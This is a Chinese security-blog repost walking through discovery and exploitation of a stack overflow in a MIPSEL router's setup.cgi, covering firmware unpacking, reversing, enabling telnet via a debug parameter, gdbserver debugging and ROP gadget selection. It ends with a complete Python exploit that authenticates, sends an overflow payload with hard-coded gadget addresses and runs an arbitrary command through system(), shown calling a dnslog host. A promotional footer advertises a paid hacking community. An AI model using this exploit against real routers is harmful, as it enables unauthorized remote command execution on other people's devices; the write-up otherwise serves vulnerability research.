扫码加圈子
获内部资料
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
原文链接:https://forum.butian.net/share/4067
作者:Vokekk
安装和配置binwalk
Binwalk是一个固件分析工具,可以帮助我们提取和分析嵌入式固件镜像。首先,按照以下步骤安装binwalk:
binwalk作者为Ubuntu系统定制了依赖的安装脚本,直接执行deps.sh,免去大部分烦恼!
git clone https://github.com/ReFirmLabs/binwalkcd binwalk sudo python3 setup.py installsudo ./deps.sh
在开始漏洞挖掘之前,我们需要下载并解包路由器的固件。本文以某厂商路由器为例,首先从官网下载固件,然后使用binwalk进行解包:
binwalk -Me <firmware_file>
漏洞分析
目标漏洞信息
目标路由器属于MIPSEL架构,漏洞二进制位于setup.cgi(许多路由器的漏洞都位于CGI中,所以可以多看看,而且也比较容易利用)
file setup.cgisetup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
main函数在setup_main
逆向
sub_555BA950
从nvram中获取了环境变量fw_out_rules
的值,没有进行长度检查,在sscanf
格式化写入到v16
导致栈溢出。
通过交叉引用fw_out_rules
可以发现该环境变量在sub_55567D8C
被设置。
交叉引用上面所说的两个函数 可以发现都是通过ActionTab
方式按名调用,分别是rule_list_simple_out
和outmove
可以在固件解包的目录下grep
搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。
直接访问fw_rules.htm
,搞几个规则,使用 nvram show | grep fw_out_rules
可以看到这个变量储存的是Service name还有一些数字啥的。
所以我们需要控制请求里的 service_list
参数,来修改fw_out_rules
,最后访问BKS_service_add.htm
触发栈溢出。
路由器配置
开启telnet
虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。
其中函数CallActionByName
通过查ActionTab
表比对参数todo
的值方式来调用函数todo
中的参数对应函数
<img src="https://s2.loli.net/2022/01/13/9WGF231OVSjyheT.png" alt="image-20220107154406516" style="zoom: 67%;" />
注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check(IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 - 云+社区 - 腾讯云 (tencent.com))。
所以可以通过todo=debug
开启telnet
192.168.1.1/setup.cgi?todo=debugtelnet 192.168.1.1
编译gdbserver
在路由器上也要进行相应的调试配置
注意路由器是小端序,参数加上-EL
搭建iot动态调试环境_九层台-CSDN博客
sudo apt-get install linux-libc-dev-mipsel-crosssudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-crosssudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnusudo apt-get install g++-mipsel-linux-gnu
wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xztar xvf gdb-10.1.tar.xzcd gdb-10.1CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"make -j7
编译不了,不知道为啥(
这里下一个
https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
HatLab Tools Library: 海特实验室IoT安全工具/环境整合 - Gitee.com
上传gdbserver
比较好的办法是使用http server
python -m http.server 9999wget http://192.168.1.2:9999/gdbserver
附加二进制的坑点
由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。
int=1while [ $int -le 1000 ]; do /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`done
调试端配置
环境: Ubuntu 21
安装gef
gef是异构动态调试做的比较好的一款gdb插件,推荐使用。
bash -c "$(wget http://gef.blah.cat/sh -O -)"
安装gdb-multiarch
普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。
sudo apt install gdb-multiarch
gdb调试配置
为了让gdb正确进行调试,首先需要进行一下环境配置。
set arch mipsset endian littlegef-remote 192.168.1.1:12345
在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch
通过-x
选项直接通过文件加载命令:
set arch mipsset endian littlegef-remote 192.168.1.1:12345b *0x555BAC2C
gdb-multiarch setup.cgi -x ./gdb.cmd
IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。
函数栈
mips调用函数时将返回地址放在 $ra
,与x86架构类似,在函数起始处压栈,结束时弹出,通过ja
指令跳到返回地址,所以需要溢出到var_s24
来劫持控制流。
执行system
介绍一下 mips 下神奇的函数调用:
在这里跳到 $t9
也就是 system
之后,会执行一下下面的那条语句(也就是 5B068
处的语句)之后才继续在 system 里面执行
那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个command
的指针,这样就会调用 system(ptr)
了
然后执行命令可以执行 ping
命令(其中 ping 需要绝对路径,需要注意):
/bin/ping hv14uf.dnslog.cn -c 2
寻找gadgets
MIPS架构推荐使用ropper
进行查找,查找时可以参考可被控制的寄存器来筛选gadget。
file setup.cgisearch addiu $a0
一开始找到了这个,后来发现怎么也打不通
0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60; 0x55567650: la $t9, system; nop; jalr $t9; nop;
后来翻了翻CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)发现是0x20截断了,所以我们system执行的command
也需要绕过空格。
同时在FindForbidValue
函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。
<img src="https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png" alt="image-20220112183944202.png" style="zoom: 67%;" />
后来还是用原来的(,将command
写到 $a0-0x60
上,跳到0x55567650
执行就行了。
0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 0x55567650: la $t9, system; nop; jalr $t9; nop;
如果你也比较懒的的话,可以用cyclic -l
来找偏移。
调试时发现$a0
的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。
最终exp
import requests,reimport base64url = "http://192.168.1.1/"user = "aaaa"pwd = "xxxx!"command = '/bin/ping xxx.dnslog.cn -c 4'command = command.replace(" ", "${IFS}")auth = "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8")deflogin(): get_sessionid = requests.get(url) sessionid = get_sessionid.headers["Set-Cookie"] headers = {"Authorization" : auth,"Cookie" : sessionid } r = requests.get(url,headers = headers)if r.status_code == 200:print("[+] Login success!")return sessionidelse:print("[-] Login failed!") exit(0)defget_sid(sessionid): headers = {"Authorization" : auth,"Cookie" : sessionid } get_sid = requests.get(url + "fw_rules.htm",headers = headers) sid = re.findall(r'?id=[a-f0-9]+', get_sid.content.decode("utf-8"))return sid[0]defattack(sessionid): attackurl = url + "setup.cgi" + get_sid(sessionid) payload = "a" * 376 payload += "%e4%2c%59%55"# ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; payload += "b" * 0x1c payload += "%50%76%56%55"# ra = 0x55567650: la $t9, system; nop; jalr $t9; nop; payload += "c" * 8 payload += "%0a{}%0a".format(command) pad = 500 - (len(payload) - 4) if(pad >= 0): payload += "c" * pad # pad len to 500print("[+] Attack start")print(attackurl,payload) data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID=" headers = {"Cookie" : sessionid,"Authorization" : auth } r = requests.post(url = attackurl,data = data,headers = headers)if r.status_code:print("[+] Attack success!, the result is:")print(r.content)else:print("[-] Attack failed!") exit(0)sessionid = login()attack(sessionid)
ref
TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 - Lonely Blog (wuhao13.xin)
HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)
我们是神农安全,点赞 + 在看 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
内部圈子介绍
圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目(一起挣钱)
8、不定期有工作招聘内推(工作/护网内推)
9、送全国职业技能大赛环境+WP解析(比赛拿奖)
内部圈子专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
知识星球——神农安全
神农安全团队创建的知识星球一直从未涨价,永久价格40
(新人优惠卷20,扫码或者私信我即可领取)
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(神农Sec):漏洞挖掘 | 从零开始的路由器漏洞挖掘之旅
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论